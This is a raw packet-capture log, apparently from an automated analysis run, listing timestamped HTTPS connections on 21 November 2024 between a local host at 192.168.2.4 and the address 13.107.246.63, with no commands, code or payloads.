Nov 21, 2024 22:10:42.103027105 CET	49927	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.103130102 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.103235960 CET	49927	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.103382111 CET	49927	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.103418112 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.206945896 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.208554983 CET	443	49924	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.210020065 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.210088968 CET	49923	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.210167885 CET	49923	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.210215092 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.210243940 CET	49923	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.210258961 CET	443	49923	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.211616993 CET	443	49924	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.211724043 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.211724997 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.211724997 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.212975979 CET	49928	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.213009119 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.213061094 CET	49928	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.213356018 CET	49928	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.213368893 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.214570999 CET	49929	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.214665890 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.214732885 CET	49929	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.214874983 CET	49929	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.214911938 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.234327078 CET	443	49925	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.234663963 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.234695911 CET	443	49925	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.235090971 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.235100985 CET	443	49925	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.432100058 CET	49924	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.432168961 CET	443	49924	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.571815014 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.572280884 CET	49926	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.572314024 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.572778940 CET	49926	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.572784901 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.687619925 CET	443	49925	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.690782070 CET	443	49925	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.690915108 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.690915108 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.690916061 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.693289995 CET	49930	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.693325043 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.693392038 CET	49930	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.693557978 CET	49930	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.693568945 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:42.994616032 CET	49925	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:42.994669914 CET	443	49925	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.128215075 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.128319025 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.128401995 CET	49926	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.128499031 CET	49926	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.128540039 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.128578901 CET	49926	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.128595114 CET	443	49926	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.130881071 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.130983114 CET	443	49931	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.131076097 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.131244898 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.131278038 CET	443	49931	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.942540884 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.943031073 CET	49929	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.943094015 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.943403006 CET	49929	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.943416119 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.953221083 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.953634977 CET	49928	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.953650951 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.954050064 CET	49928	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.954054117 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.967468977 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.967791080 CET	49927	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.967856884 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:43.968143940 CET	49927	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:43.968158007 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.386600971 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.389751911 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.389815092 CET	49929	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.389872074 CET	49929	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.389890909 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.389904022 CET	49929	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.389909029 CET	443	49929	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.391750097 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.392265081 CET	49932	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.392303944 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.392380953 CET	49932	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.392488003 CET	49932	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.392496109 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.394803047 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.394850016 CET	49928	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.394879103 CET	49928	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.394896030 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.394906044 CET	49928	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.394912004 CET	443	49928	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.396927118 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.396962881 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.397047997 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.397149086 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.397161007 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.420259953 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.423577070 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.423650980 CET	49927	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.423691988 CET	49927	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.423712969 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.423728943 CET	49927	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.423743010 CET	443	49927	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.425539017 CET	49934	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.425558090 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.425632954 CET	49934	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.425745010 CET	49934	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.425755978 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.477650881 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.478007078 CET	49930	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.478014946 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.478409052 CET	49930	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.478413105 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.933204889 CET	443	49931	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.933669090 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.933697939 CET	443	49931	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.934086084 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.934089899 CET	443	49931	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.961213112 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.964382887 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.964442015 CET	49930	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.964462042 CET	49930	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.964479923 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.964490891 CET	49930	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.964495897 CET	443	49930	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.966837883 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.966878891 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:44.966952085 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.967051983 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:44.967061996 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:45.423069954 CET	443	49931	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:45.426162958 CET	443	49931	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:45.426402092 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:45.426402092 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:45.426402092 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:45.428831100 CET	49936	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:45.428927898 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:45.429016113 CET	49936	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:45.429219007 CET	49936	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:45.429256916 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:45.729034901 CET	49931	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:45.729111910 CET	443	49931	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:45.997395992 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:45.999806881 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:45.999870062 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.000828028 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.000857115 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.141407967 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.141947985 CET	49932	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.141968012 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.142318010 CET	49932	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.142323017 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.239876032 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.240221977 CET	49934	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.240247011 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.240657091 CET	49934	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.240662098 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.465068102 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.468610048 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.468653917 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.468816996 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.468816996 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.468816996 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.468816996 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.471215010 CET	49937	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.471241951 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.471309900 CET	49937	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.471448898 CET	49937	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.471462011 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.576981068 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.580538034 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.580588102 CET	49932	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.580738068 CET	49932	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.580756903 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.580765009 CET	49932	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.580775976 CET	443	49932	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.586762905 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.586807013 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.586872101 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.587279081 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.587291002 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.682131052 CET	49933	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.682208061 CET	443	49933	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.684546947 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.687726974 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.687860012 CET	49934	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.707142115 CET	49934	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.707175016 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.707185984 CET	49934	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.707191944 CET	443	49934	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.710189104 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.710227966 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.710289001 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.710747004 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.710760117 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.747349024 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.750210047 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.750277042 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:46.750646114 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:46.750658035 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.200325966 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.203347921 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.203392029 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.203422070 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.203496933 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.203496933 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.203543901 CET	49935	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.203584909 CET	443	49935	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.206031084 CET	49940	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.206077099 CET	443	49940	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.206162930 CET	49940	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.206314087 CET	49940	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.206345081 CET	443	49940	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.216331959 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.216901064 CET	49936	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.216963053 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.217598915 CET	49936	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.217623949 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.661820889 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.664761066 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.664848089 CET	49936	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.664917946 CET	49936	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.664917946 CET	49936	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.664956093 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.664995909 CET	443	49936	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.667510986 CET	49941	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.667556047 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:47.667629957 CET	49941	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.667774916 CET	49941	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:47.667790890 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.269324064 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.282627106 CET	49937	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.282641888 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.283638000 CET	49937	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.283644915 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.380403042 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.432918072 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.439476013 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.439516068 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.443064928 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.443078995 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.498656034 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.504005909 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.504015923 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.504694939 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.504699945 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.743649006 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.743721962 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.743951082 CET	49937	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.743997097 CET	49937	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.744012117 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.744021893 CET	49937	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.744026899 CET	443	49937	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.746588945 CET	49942	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.746695042 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.746788025 CET	49942	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.746944904 CET	49942	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.746982098 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.939404011 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.939555883 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.939707994 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.939795017 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.939795017 CET	49938	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.939841986 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.939870119 CET	443	49938	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.942560911 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.942625999 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.942712069 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.942876101 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.942892075 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.947505951 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.950495005 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.950550079 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.950567961 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.950608015 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.950644970 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.950664997 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.950675964 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.950676918 CET	49939	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.950684071 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.950691938 CET	443	49939	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.952676058 CET	49944	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.952769041 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:48.952856064 CET	49944	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.952980995 CET	49944	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:48.953033924 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.050312042 CET	443	49940	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.050823927 CET	49940	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.050890923 CET	443	49940	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.051286936 CET	49940	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.051300049 CET	443	49940	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.478554010 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.479444027 CET	49941	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.479485989 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.479967117 CET	49941	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.479983091 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.583184004 CET	443	49940	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.583266020 CET	443	49940	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.583623886 CET	49940	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.583625078 CET	49940	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.583719969 CET	49940	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.583781004 CET	443	49940	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.586813927 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.586874962 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.586954117 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.587114096 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.587131023 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.924254894 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.927391052 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.927500963 CET	49941	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.927581072 CET	49941	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.927608967 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.927623034 CET	49941	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.927630901 CET	443	49941	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.930663109 CET	49946	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.930722952 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:49.930813074 CET	49946	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.930974007 CET	49946	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:49.930991888 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.605456114 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.606184959 CET	49942	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:50.606271029 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.606908083 CET	49942	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:50.606923103 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.733820915 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.734275103 CET	49944	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:50.734343052 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.734757900 CET	49944	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:50.734772921 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.793804884 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.794259071 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:50.794281006 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:50.794701099 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:50.794707060 CET	443	49943	13.107.246.63	192.168.2.4
